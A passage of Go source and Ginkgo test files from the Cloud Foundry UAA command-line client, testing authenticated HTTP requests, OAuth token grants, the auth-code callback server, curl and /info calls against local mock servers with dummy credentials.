Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
It("returns a helpful error when no token in context", func() {
config.AddContext(NewContextWithToken(""))
_, err := AuthenticatedRequester{}.Get(client, config, "/testPath", "someQueryParam=true")
Expect(server.ReceivedRequests()).To(HaveLen(0))
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An access token is required to call"))
})
})
Describe("Delete", func() {
It("calls an endpoint with Accept and Authorization headers", func() {
server.RouteToHandler("DELETE", "/testPath", ghttp.CombineHandlers(
ghttp.RespondWith(200, responseJson),
ghttp.VerifyRequest("DELETE", "/testPath", "someQueryParam=true"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
config.AddContext(NewContextWithToken("access_token"))
AuthenticatedRequester{}.Delete(client, config, "/testPath", "someQueryParam=true")
Expect(server.ReceivedRequests()).To(HaveLen(1))
})
It("supports zone switching", func() {
server.RouteToHandler("DELETE", "/testPath", ghttp.CombineHandlers(
ghttp.RespondWith(200, responseJson),
ghttp.VerifyRequest("DELETE", "/testPath", "someQueryParam=true"),
ghttp.VerifyHeaderKV("X-Identity-Zone-Subdomain", "twilight-zone"),
))
config.AddContext(NewContextWithToken("access_token"))
config.ZoneSubdomain = "twilight-zone"
AuthenticatedRequester{}.Delete(client, config, "/testPath", "someQueryParam=true")
Expect(server.ReceivedRequests()).To(HaveLen(1))
})
It("returns a helpful error when DELETE request fails", func() {
server.RouteToHandler("DELETE", "/testPath", ghttp.CombineHandlers(
ghttp.RespondWith(500, ""),
ghttp.VerifyRequest("DELETE", "/testPath", "someQueryParam=true"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
))
config.AddContext(NewContextWithToken("access_token"))
_, err := AuthenticatedRequester{}.Delete(client, config, "/testPath", "someQueryParam=true")
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
It("returns a helpful error when no token in context", func() {
config.AddContext(NewContextWithToken(""))
_, err := AuthenticatedRequester{}.Delete(client, config, "/testPath", "someQueryParam=true")
Expect(server.ReceivedRequests()).To(HaveLen(0))
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An access token is required to call"))
})
})
Describe("PostForm", func() {
It("calls an endpoint with correct body and headers", func() {
responseJson = `{
"access_token" : "<PASSWORD>",
"token_type" : "bearer",
"expires_in" : 43199,
"scope" : "clients.read emails.write scim.userids password.write idps.write notifications.write oauth.login scim.write critical_notifications.write",
"jti" : "<PASSWORD>"
}`
server.RouteToHandler("POST", "/oauth/token", ghttp.CombineHandlers(
ghttp.RespondWith(200, responseJson),
ghttp.VerifyRequest("POST", "/oauth/token", ""),
ghttp.VerifyBody([]byte("hello=world")),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/x-www-form-urlencoded"),
))
body := map[string]string{"hello": "world"}
config.AddContext(NewContextWithToken("access_token"))
returnedBytes, _ := AuthenticatedRequester{}.PostForm(client, config, "/oauth/token", "", body)
parsedResponse := string(returnedBytes)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(parsedResponse).To(ContainSubstring("expires_in"))
})
It("supports zone switching", func() {
server.RouteToHandler("POST", "/oauth/token", ghttp.CombineHandlers(
ghttp.VerifyRequest("POST", "/oauth/token", ""),
ghttp.VerifyHeaderKV("X-Identity-Zone-Subdomain", "twilight-zone"),
))
config.AddContext(NewContextWithToken("access_token"))
config.ZoneSubdomain = "twilight-zone"
AuthenticatedRequester{}.PostForm(client, config, "/oauth/token", "", map[string]string{})
Expect(server.ReceivedRequests()).To(HaveLen(1))
})
It("returns an error when request fails", func() {
server.RouteToHandler("POST", "/oauth/token", ghttp.CombineHandlers(
ghttp.RespondWith(500, "garbage"),
ghttp.VerifyRequest("POST", "/oauth/token", ""),
))
config.AddContext(NewContextWithToken("access_token"))
_, err := AuthenticatedRequester{}.PostForm(client, config, "/oauth/token", "", map[string]string{})
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
It("returns a helpful error when no token in context", func() {
config.AddContext(NewContextWithToken(""))
_, err := AuthenticatedRequester{}.PostForm(client, config, "/oauth/token", "", map[string]string{})
Expect(server.ReceivedRequests()).To(HaveLen(0))
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An access token is required to call"))
})
})
Describe("PostJson", func() {
It("calls an endpoint with correct body and headers", func() {
responseJson = `{ "status" : "great successs" }`
server.RouteToHandler("POST", "/foo", ghttp.CombineHandlers(
ghttp.RespondWith(200, responseJson),
ghttp.VerifyRequest("POST", "/foo", ""),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/json"),
ghttp.VerifyJSON(`{"Field1": "hello", "Field2": "world"}`),
))
bodyObj := TestData{Field1: "hello", Field2: "world"}
config.AddContext(NewContextWithToken("access_token"))
returnedBytes, _ := AuthenticatedRequester{}.PostJson(client, config, "/foo", "", bodyObj)
parsedResponse := string(returnedBytes)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(parsedResponse).To(ContainSubstring("great success"))
})
It("returns an error when request fails", func() {
server.RouteToHandler("POST", "/foo", ghttp.CombineHandlers(
ghttp.RespondWith(500, "garbage"),
ghttp.VerifyRequest("POST", "/foo", ""),
))
config.AddContext(NewContextWithToken("access_token"))
bodyObj := TestData{Field1: "hello", Field2: "world"}
_, err := AuthenticatedRequester{}.PostJson(client, config, "/foo", "", bodyObj)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
It("returns a helpful error when no token in context", func() {
config.AddContext(NewContextWithToken(""))
_, err := AuthenticatedRequester{}.PostJson(client, config, "/foo", "", map[string]string{})
Expect(server.ReceivedRequests()).To(HaveLen(0))
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An access token is required to call"))
})
})
Describe("PutJson", func() {
It("calls an endpoint with correct body and headers", func() {
responseJson = `{ "status" : "great successs" }`
server.RouteToHandler("PUT", "/foo", ghttp.CombineHandlers(
ghttp.RespondWith(200, responseJson),
ghttp.VerifyRequest("PUT", "/foo", ""),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/json"),
ghttp.VerifyJSON(`{"Field1": "hello", "Field2": "world"}`),
))
bodyObj := TestData{Field1: "hello", Field2: "world"}
config.AddContext(NewContextWithToken("access_token"))
returnedBytes, _ := AuthenticatedRequester{}.PutJson(client, config, "/foo", "", bodyObj)
parsedResponse := string(returnedBytes)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(parsedResponse).To(ContainSubstring("great success"))
})
It("returns an error when request fails", func() {
server.RouteToHandler("PUT", "/foo", ghttp.CombineHandlers(
ghttp.RespondWith(500, "garbage"),
ghttp.VerifyRequest("PUT", "/foo", ""),
))
config.AddContext(NewContextWithToken("access_token"))
bodyObj := TestData{Field1: "hello", Field2: "world"}
_, err := AuthenticatedRequester{}.PutJson(client, config, "/foo", "", bodyObj)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
It("supports zone switching", func() {
server.RouteToHandler("PUT", "/foo", ghttp.CombineHandlers(
ghttp.RespondWith(200, `{ "status" : "great successs" }`),
ghttp.VerifyRequest("PUT", "/foo", ""),
ghttp.VerifyHeaderKV("X-Identity-Zone-Subdomain", "twilight-zone"),
))
config.AddContext(NewContextWithToken("access_token"))
config.ZoneSubdomain = "twilight-zone"
_, err := AuthenticatedRequester{}.PutJson(client, config, "/foo", "", TestData{Field1: "hello", Field2: "world"})
Expect(err).To(BeNil())
Expect(server.ReceivedRequests()).To(HaveLen(1))
})
It("returns a helpful error when no token in context", func() {
config.AddContext(NewContextWithToken(""))
_, err := AuthenticatedRequester{}.PutJson(client, config, "/foo", "", map[string]string{})
Expect(server.ReceivedRequests()).To(HaveLen(0))
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An access token is required to call"))
})
})
})
})
<file_sep>/cmd/get_password_token.go
package cmd
import (
"code.cloudfoundry.org/uaa-cli/config"
"code.cloudfoundry.org/uaa-cli/help"
"code.cloudfoundry.org/uaa-cli/uaa"
"errors"
"github.com/spf13/cobra"
"net/http"
)
func GetPasswordTokenValidations(cfg uaa.Config, args []string, clientSecret, username, password string) error {
if err := EnsureTargetInConfig(cfg); err != nil {
return err
}
if len(args) < 1 {
return MissingArgumentError("client_id")
}
if password == "" {
return MissingArgumentError("password")
}
if username == "" {
return MissingArgumentError("username")
}
return validateTokenFormatError(tokenFormat)
}
func GetPasswordTokenCmd(cfg uaa.Config, httpClient *http.Client, clientId, clientSecret, username, password, tokenFormat string) error {
requestedType := uaa.TokenFormat(tokenFormat)
ccClient := uaa.ResourceOwnerPasswordClient{
ClientId: clientId,
ClientSecret: clientSecret,
Username: username,
Password: <PASSWORD>,
}
tokenResponse, err := ccClient.RequestToken(httpClient, cfg, requestedType)
if err != nil {
return errors.New("An error occurred while fetching token.")
}
activeContext := cfg.GetActiveContext()
activeContext.ClientId = clientId
activeContext.GrantType = uaa.PASSWORD
activeContext.Username = username
activeContext.TokenResponse = tokenResponse
cfg.AddContext(activeContext)
config.WriteConfig(cfg)
log.Info("Access token successfully fetched and added to context.")
return nil
}
var getPasswordToken = &cobra.Command{
Use: "get-password-token CLIENT_ID -s CLIENT_SECRET -u USERNAME -p PASSWORD",
Short: "Obtain an access token using the password grant type",
Long: help.PasswordGrant(),
PreRun: func(cmd *cobra.Command, args []string) {
cfg := GetSavedConfig()
NotifyValidationErrors(GetPasswordTokenValidations(cfg, args, clientSecret, username, password), cmd, log)
},
Run: func(cmd *cobra.Command, args []string) {
cfg := GetSavedConfig()
NotifyErrorsWithRetry(GetPasswordTokenCmd(cfg, GetHttpClient(), args[0], clientSecret, username, password, tokenFormat), cfg, log)
},
}
func init() {
RootCmd.AddCommand(getPasswordToken)
getPasswordToken.Annotations = make(map[string]string)
getPasswordToken.Annotations[TOKEN_CATEGORY] = "true"
getPasswordToken.Flags().StringVarP(&clientSecret, "client_secret", "s", "", "client secret")
getPasswordToken.Flags().StringVarP(&username, "username", "u", "", "username")
getPasswordToken.Flags().StringVarP(&password, "<PASSWORD>", "p", "", "<PASSWORD>")
getPasswordToken.Flags().StringVarP(&tokenFormat, "format", "", "jwt", "available formats include "+availableFormatsStr())
}
<file_sep>/uaa/oauth_token_request_test.go
package uaa_test
import (
. "code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"github.com/onsi/gomega/ghttp"
"net/http"
)
var _ = Describe("OauthTokenRequest", func() {
var (
server *ghttp.Server
config Config
client *http.Client
)
const opaqueTokenResponse = `{
"access_token" : "<KEY>",
"refresh_token" : "0cb0e2670f7642e9b501a79252f90f02",
"token_type" : "bearer",
"expires_in" : 43199,
"scope" : "clients.read emails.write scim.userids password.write idps.write notifications.write oauth.login scim.write critical_notifications.write",
"jti" : "<KEY>"
}`
const jwtTokenResponse = `{
"access_token" : "<KEY>",
"refresh_token" : "0cb0e2670f7642e9b501a79252f90f02",
"token_type" : "bearer",
"expires_in" : 43199,
"scope" : "clients.read emails.write scim.userids password.write idps.write notifications.write oauth.login scim.write critical_notifications.write",
"jti" : "<KEY>"
}`
BeforeEach(func() {
server = ghttp.NewServer()
client = &http.Client{}
config = NewConfigWithServerURL(server.URL())
})
Describe("ClientCredentialsClient#RequestToken", func() {
It("makes a POST to /oauth/token", func() {
server.RouteToHandler("POST", "/oauth/token", ghttp.CombineHandlers(
ghttp.RespondWith(200, opaqueTokenResponse),
ghttp.VerifyRequest("POST", "/oauth/token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/x-www-form-urlencoded"),
ghttp.VerifyFormKV("client_id", "identity"),
ghttp.VerifyFormKV("client_secret", "identitysecret"),
ghttp.VerifyFormKV("grant_type", "client_credentials"),
ghttp.VerifyFormKV("token_format", string(OPAQUE)),
ghttp.VerifyFormKV("response_type", "token"),
))
ccClient := ClientCredentialsClient{ClientId: "identity", ClientSecret: "identitysecret"}
tokenResponse, _ := ccClient.RequestToken(client, config, OPAQUE)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(tokenResponse.AccessToken).To(Equal("<KEY>"))
Expect(tokenResponse.TokenType).To(Equal("bearer"))
Expect(tokenResponse.ExpiresIn).To(Equal(int32(43199)))
Expect(tokenResponse.Scope).To(Equal("clients.read emails.write scim.userids password.write idps.write notifications.write oauth.login scim.write critical_notifications.write"))
Expect(tokenResponse.JTI).To(Equal("bc4885d950854fed9a938e96b13ca519"))
})
It("returns error if response unparasable", func() {
server.RouteToHandler("POST", "/oauth/token", ghttp.CombineHandlers(
ghttp.RespondWith(200, "{garbage response}"),
ghttp.VerifyRequest("POST", "/oauth/token"),
))
ccClient := ClientCredentialsClient{ClientId: "identity", ClientSecret: "identitysecret"}
_, err := ccClient.RequestToken(client, config, OPAQUE)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).NotTo(BeNil())
})
})
Describe("ResourceOwnerPasswordClient#RequestToken", func() {
It("makes a POST to /oauth/token", func() {
server.RouteToHandler("POST", "/oauth/token", ghttp.CombineHandlers(
ghttp.RespondWith(200, opaqueTokenResponse),
ghttp.VerifyRequest("POST", "/oauth/token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/x-www-form-urlencoded"),
ghttp.VerifyFormKV("client_id", "identity"),
ghttp.VerifyFormKV("client_secret", "identitysecret"),
ghttp.VerifyFormKV("grant_type", "password"),
ghttp.VerifyFormKV("token_format", string(OPAQUE)),
ghttp.VerifyFormKV("response_type", "token"),
ghttp.VerifyFormKV("username", "woodstock"),
ghttp.VerifyFormKV("password", "<PASSWORD>"),
))
ropClient := ResourceOwnerPasswordClient{
ClientId: "identity",
ClientSecret: "identitysecret",
Username: "woodstock",
Password: "<PASSWORD>",
}
tokenResponse, _ := ropClient.RequestToken(client, config, OPAQUE)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(tokenResponse.AccessToken).To(Equal("<KEY>"))
Expect(tokenResponse.TokenType).To(Equal("bearer"))
Expect(tokenResponse.ExpiresIn).To(Equal(int32(43199)))
Expect(tokenResponse.Scope).To(Equal("clients.read emails.write scim.userids password.write idps.write notifications.write oauth.login scim.write critical_notifications.write"))
Expect(tokenResponse.JTI).To(Equal("<KEY>"))
})
It("returns error if response unparasable", func() {
server.RouteToHandler("POST", "/oauth/token", ghttp.CombineHandlers(
ghttp.RespondWith(200, "{garbage response}"),
ghttp.VerifyRequest("POST", "/oauth/token"),
))
ropClient := ResourceOwnerPasswordClient{
ClientId: "identity",
ClientSecret: "identitysecret",
Username: "woodstock",
Password: "<PASSWORD>",
}
_, err := ropClient.RequestToken(client, config, OPAQUE)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).NotTo(BeNil())
})
})
Describe("ClientCredentialsClient#RequestToken", func() {
It("makes a POST to /oauth/token", func() {
server.RouteToHandler("POST", "/oauth/token", ghttp.CombineHandlers(
ghttp.RespondWith(200, opaqueTokenResponse),
ghttp.VerifyRequest("POST", "/oauth/token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/x-www-form-urlencoded"),
ghttp.VerifyFormKV("client_id", "my_authcode_client"),
ghttp.VerifyFormKV("client_secret", "clientsecret"),
ghttp.VerifyFormKV("grant_type", "authorization_code"),
ghttp.VerifyFormKV("token_format", string(OPAQUE)),
ghttp.VerifyFormKV("response_type", "token"),
ghttp.VerifyFormKV("code", "abcde"),
ghttp.VerifyFormKV("redirect_uri", "http://localhost:8080"),
))
authcodeClient := AuthorizationCodeClient{
ClientId: "my_authcode_client",
ClientSecret: "clientsecret",
}
tokenResponse, _ := authcodeClient.RequestToken(client, config, OPAQUE, "abcde", "http://localhost:8080")
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(tokenResponse.AccessToken).To(Equal("<KEY>"))
Expect(tokenResponse.TokenType).To(Equal("bearer"))
Expect(tokenResponse.ExpiresIn).To(Equal(int32(43199)))
Expect(tokenResponse.Scope).To(Equal("clients.read emails.write scim.userids password.write idps.write notifications.write oauth.login scim.write critical_notifications.write"))
Expect(tokenResponse.JTI).To(Equal("<KEY>"))
})
It("can request opaque or jwt format tokens", func() {
server.RouteToHandler("POST", "/oauth/token", ghttp.CombineHandlers(
ghttp.RespondWith(200, jwtTokenResponse),
ghttp.VerifyRequest("POST", "/oauth/token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/x-www-form-urlencoded"),
ghttp.VerifyFormKV("client_id", "my_authcode_client"),
ghttp.VerifyFormKV("client_secret", "clientsecret"),
ghttp.VerifyFormKV("grant_type", "authorization_code"),
ghttp.VerifyFormKV("token_format", string(JWT)),
ghttp.VerifyFormKV("response_type", "token"),
ghttp.VerifyFormKV("code", "abcde"),
ghttp.VerifyFormKV("redirect_uri", "http://localhost:8080"),
))
authcodeClient := AuthorizationCodeClient{
ClientId: "my_authcode_client",
ClientSecret: "clientsecret",
}
tokenResponse, _ := authcodeClient.RequestToken(client, config, JWT, "abcde", "http://localhost:8080")
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(tokenResponse.AccessToken).To(Equal("<KEY>"))
Expect(tokenResponse.TokenType).To(Equal("bearer"))
Expect(tokenResponse.ExpiresIn).To(Equal(int32(43199)))
Expect(tokenResponse.Scope).To(Equal("clients.read emails.write scim.userids password.write idps.write notifications.write oauth.login scim.write critical_notifications.write"))
Expect(tokenResponse.JTI).To(Equal("<KEY>"))
})
It("returns error if response unparasable", func() {
server.RouteToHandler("POST", "/oauth/token", ghttp.CombineHandlers(
ghttp.RespondWith(200, "{garbage response}"),
ghttp.VerifyRequest("POST", "/oauth/token"),
))
authcodeClient := AuthorizationCodeClient{
ClientId: "my_authcode_client",
ClientSecret: "clientsecret",
}
_, err := authcodeClient.RequestToken(client, config, JWT, "abcde", "http://localhost:8080")
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).NotTo(BeNil())
})
})
Describe("RefreshTokenClient#RequestToken", func() {
It("requests a new token by passing a refresh token", func() {
server.RouteToHandler("POST", "/oauth/token", ghttp.CombineHandlers(
ghttp.RespondWith(200, opaqueTokenResponse),
ghttp.VerifyRequest("POST", "/oauth/token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/x-www-form-urlencoded"),
ghttp.VerifyFormKV("client_id", "someclient"),
ghttp.VerifyFormKV("client_secret", "somesecret"),
ghttp.VerifyFormKV("token_format", string(OPAQUE)),
ghttp.VerifyFormKV("grant_type", "refresh_token"),
ghttp.VerifyFormKV("response_type", "token"),
ghttp.VerifyFormKV("refresh_token", "the_refresh_token"),
))
refreshClient := RefreshTokenClient{
ClientId: "someclient",
ClientSecret: "somesecret",
}
tokenResponse, _ := refreshClient.RequestToken(client, config, OPAQUE, "the_refresh_token")
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(tokenResponse.AccessToken).To(Equal("<KEY>"))
Expect(tokenResponse.RefreshToken).To(Equal("0cb0e2670f7642e9b501a79252f90f02"))
Expect(tokenResponse.TokenType).To(Equal("bearer"))
Expect(tokenResponse.ExpiresIn).To(Equal(int32(43199)))
Expect(tokenResponse.Scope).To(Equal("clients.read emails.write scim.userids password.write idps.write notifications.write oauth.login scim.write critical_notifications.write"))
Expect(tokenResponse.JTI).To(Equal("<KEY>"))
})
})
})
<file_sep>/cli/authcode_client_impersonator_test.go
package cli_test
import (
. "code.cloudfoundry.org/uaa-cli/cli"
"code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
. "github.com/onsi/gomega/ghttp"
"net/http"
"net/url"
)
var _ = Describe("AuthcodeClientImpersonator", func() {
var (
impersonator AuthcodeClientImpersonator
logger Logger
httpClient *http.Client
config uaa.Config
launcher TestLauncher
uaaServer *Server
)
BeforeEach(func() {
httpClient = &http.Client{}
launcher = TestLauncher{}
uaaServer = NewServer()
config = uaa.NewConfigWithServerURL(uaaServer.URL())
logger = NewLogger(GinkgoWriter, GinkgoWriter, GinkgoWriter, GinkgoWriter)
})
Describe("NewAuthcodeClientImpersonator", func() {
BeforeEach(func() {
launcher := TestLauncher{}
impersonator = NewAuthcodeClientImpersonator(httpClient, config, "authcodeClientId", "authcodesecret", "jwt", "openid", 8080, logger, launcher.Run)
})
Describe("configures an AuthCallbackListener", func() {
It("with appropriate static content", func() {
Expect(impersonator.AuthCallbackServer.CSS()).To(ContainSubstring("Source Sans Pro"))
Expect(impersonator.AuthCallbackServer.Html()).To(ContainSubstring("Authorization Code Grant: Success"))
})
It("with the desired port", func() {
Expect(impersonator.AuthCallbackServer.Port()).To(Equal(8080))
})
It("with its logger", func() {
Expect(impersonator.AuthCallbackServer.Log()).NotTo(Equal(Logger{}))
Expect(impersonator.AuthCallbackServer.Log()).To(Equal(logger))
})
It("with hangup func that looks for code in query params", func() {
done := make(chan url.Values)
urlParams := url.Values{}
urlParams.Add("code", "56575db17b164e568668c0085ed14ae1")
go impersonator.AuthCallbackServer.Hangup(done, urlParams)
Expect(<-done).To(Equal(urlParams))
})
})
})
Describe("#Start", func() {
It("starts the AuthCallbackServer", func() {
uaaServer.RouteToHandler("POST", "/oauth/token", CombineHandlers(
VerifyRequest("POST", "/oauth/token"),
RespondWith(http.StatusOK, `{
"access_token" : "<KEY>",
"token_type" : "bearer",
"expires_in" : 3000,
"scope" : "openid",
"jti" : "bc4885d950854fed9a938e96b13ca519"
}`),
VerifyFormKV("client_id", "authcodeId"),
VerifyFormKV("client_secret", "authcodesecret"),
VerifyFormKV("grant_type", "authorization_code"),
VerifyFormKV("token_format", "jwt"),
VerifyFormKV("response_type", "token"),
VerifyFormKV("code", "secretcode"),
VerifyFormKV("redirect_uri", "http://localhost:8080")),
)
impersonator = NewAuthcodeClientImpersonator(httpClient, config, "authcodeId", "authcodesecret", "jwt", "openid", 8080, logger, launcher.Run)
// Start the callback server
go impersonator.Start()
// Hit the callback server with an authcode
httpClient.Get("http://localhost:8080/?code=secretcode")
// The callback server should have exchanged the code for a token
tokenResponse := <-impersonator.Done()
Expect(tokenResponse.AccessToken).To(Equal("<KEY>"))
Expect(tokenResponse.TokenType).To(Equal("bearer"))
Expect(tokenResponse.Scope).To(Equal("openid"))
Expect(tokenResponse.JTI).To(Equal("bc4<PASSWORD>b13ca519"))
Expect(tokenResponse.ExpiresIn).To(Equal(int32(3000)))
})
})
Describe("#Authorize", func() {
It("launches a browser to the authorize page", func() {
impersonator = NewAuthcodeClientImpersonator(httpClient, config, "authcodeId", "authcodesecret", "jwt", "openid", 8080, logger, launcher.Run)
impersonator.Authorize()
Expect(launcher.TargetUrl).To(Equal(uaaServer.URL() + "/oauth/authorize?client_id=authcodeId&redirect_uri=http%3A%2F%2Flocalhost%3A8080&response_type=code"))
})
})
})
<file_sep>/uaa/curl_test.go
package uaa_test
import (
"encoding/json"
"net/http"
. "code.cloudfoundry.org/uaa-cli/fixtures"
. "code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"github.com/onsi/gomega/ghttp"
)
var _ = Describe("Curl", func() {
var (
cm CurlManager
uaaServer *ghttp.Server
)
BeforeEach(func() {
uaaServer = ghttp.NewServer()
config := NewConfigWithServerURL(uaaServer.URL())
config.AddContext(NewContextWithToken("access_token"))
cm = CurlManager{&http.Client{}, config}
})
Describe("CurlManager#Curl", func() {
It("gets a user from the UAA by id", func() {
uaaServer.RouteToHandler("GET", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70", ghttp.CombineHandlers(
ghttp.VerifyRequest("GET", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.RespondWith(http.StatusOK, MarcusUserResponse),
))
_, resBody, err := cm.Curl("/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70", "GET", "", []string{"Accept: application/json"})
Expect(err).NotTo(HaveOccurred())
var user ScimUser
err = json.Unmarshal([]byte(resBody), &user)
Expect(err).NotTo(HaveOccurred())
Expect(user.ID).To(Equal("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70"))
})
It("can POST body and multiple headers", func() {
reqBody := map[string]interface{}{
"externalId": "marcus-user",
"userName": "<EMAIL>",
}
uaaServer.RouteToHandler("POST", "/Users", ghttp.CombineHandlers(
ghttp.VerifyRequest("POST", "/Users"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/json"),
ghttp.VerifyJSONRepresenting(reqBody),
ghttp.RespondWith(http.StatusCreated, MarcusUserResponse),
))
reqBodyBytes, err := json.Marshal(reqBody)
Expect(err).NotTo(HaveOccurred())
_, resBody, err := cm.Curl("/Users", "POST", string(reqBodyBytes), []string{"Content-Type: application/json", "Accept: application/json"})
var user ScimUser
err = json.Unmarshal([]byte(resBody), &user)
Expect(err).NotTo(HaveOccurred())
Expect(user.ID).To(Equal("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70"))
})
})
})
<file_sep>/uaa/info_test.go
package uaa_test
import (
. "code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"github.com/onsi/gomega/ghttp"
"net/http"
)
var _ = Describe("Info", func() {
var (
server *ghttp.Server
config Config
client *http.Client
)
const InfoResponseJson string = `{
"app": {
"version": "4.5.0"
},
"links": {
"uaa": "https://uaa.run.pivotal.io",
"passwd": "https://account.run.pivotal.io/forgot-password",
"login": "https://login.run.pivotal.io",
"register": "https://account.run.pivotal.io/sign-up"
},
"zone_name": "uaa",
"entityID": "login.run.pivotal.io",
"commit_id": "df80f63",
"idpDefinitions": {
"SAML" : "http://localhost:8080/uaa/saml/discovery?returnIDParam=idp&entityID=cloudfoundry-saml-login&idp=SAML&isPassive=true"
},
"prompts": {
"username": [
"text",
"Email"
],
"password": [
"<PASSWORD>",
"<PASSWORD>"
]
},
"timestamp": "2017-07-21T22:45:01+0000"
}`
BeforeEach(func() {
server = ghttp.NewServer()
client = &http.Client{}
config = NewConfigWithServerURL(server.URL())
})
AfterEach(func() {
server.Close()
})
It("calls the /info endpoint", func() {
server.RouteToHandler("GET", "/info", ghttp.CombineHandlers(
ghttp.RespondWith(200, InfoResponseJson),
ghttp.VerifyRequest("GET", "/info"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
))
infoResponse, _ := Info(client, config)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(infoResponse.App.Version).To(Equal("4.5.0"))
Expect(infoResponse.Links.ForgotPassword).To(Equal("https://account.run.pivotal.io/forgot-password"))
Expect(infoResponse.Links.Uaa).To(Equal("https://uaa.run.pivotal.io"))
Expect(infoResponse.Links.Registration).To(Equal("https://account.run.pivotal.io/sign-up"))
Expect(infoResponse.Links.Login).To(Equal("https://login.run.pivotal.io"))
Expect(infoResponse.ZoneName).To(Equal("uaa"))
Expect(infoResponse.EntityId).To(Equal("login.run.pivotal.io"))
Expect(infoResponse.CommitId).To(Equal("df80f63"))
Expect(infoResponse.IdpDefinitions["SAML"]).To(Equal("http://localhost:8080/uaa/saml/discovery?returnIDParam=idp&entityID=cloudfoundry-saml-login&idp=SAML&isPassive=true"))
Expect(infoResponse.Prompts["username"]).To(Equal([]string{"text", "Email"}))
Expect(infoResponse.Prompts["password"]).To(Equal([]string{"password", "<PASSWORD>"}))
Expect(infoResponse.Timestamp).To(Equal("2017-07-21T22:45:01+0000"))
})
It("returns helpful error when /info request fails", func() {
server.RouteToHandler("GET", "/info", ghttp.CombineHandlers(
ghttp.RespondWith(500, ""),
ghttp.VerifyRequest("GET", "/info"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
))
_, err := Info(client, config)
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
It("returns helpful error when /info response can't be parsed", func() {
server.RouteToHandler("GET", "/info", ghttp.CombineHandlers(
ghttp.RespondWith(200, "{unparsable-json-response}"),
ghttp.VerifyRequest("GET", "/info"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
))
_, err := Info(client, config)
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while parsing response from"))
Expect(err.Error()).To(ContainSubstring("Response was {unparsable-json-response}"))
})
})
<file_sep>/uaa/http_request_factory_test.go
package uaa_test
import (
. "code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"io/ioutil"
"net/http"
"net/url"
"strconv"
)
type TestData struct {
Field1 string
Field2 string
}
var _ = Describe("HttpRequestFactory", func() {
var (
factory HttpRequestFactory
context UaaContext
req *http.Request
config Config
)
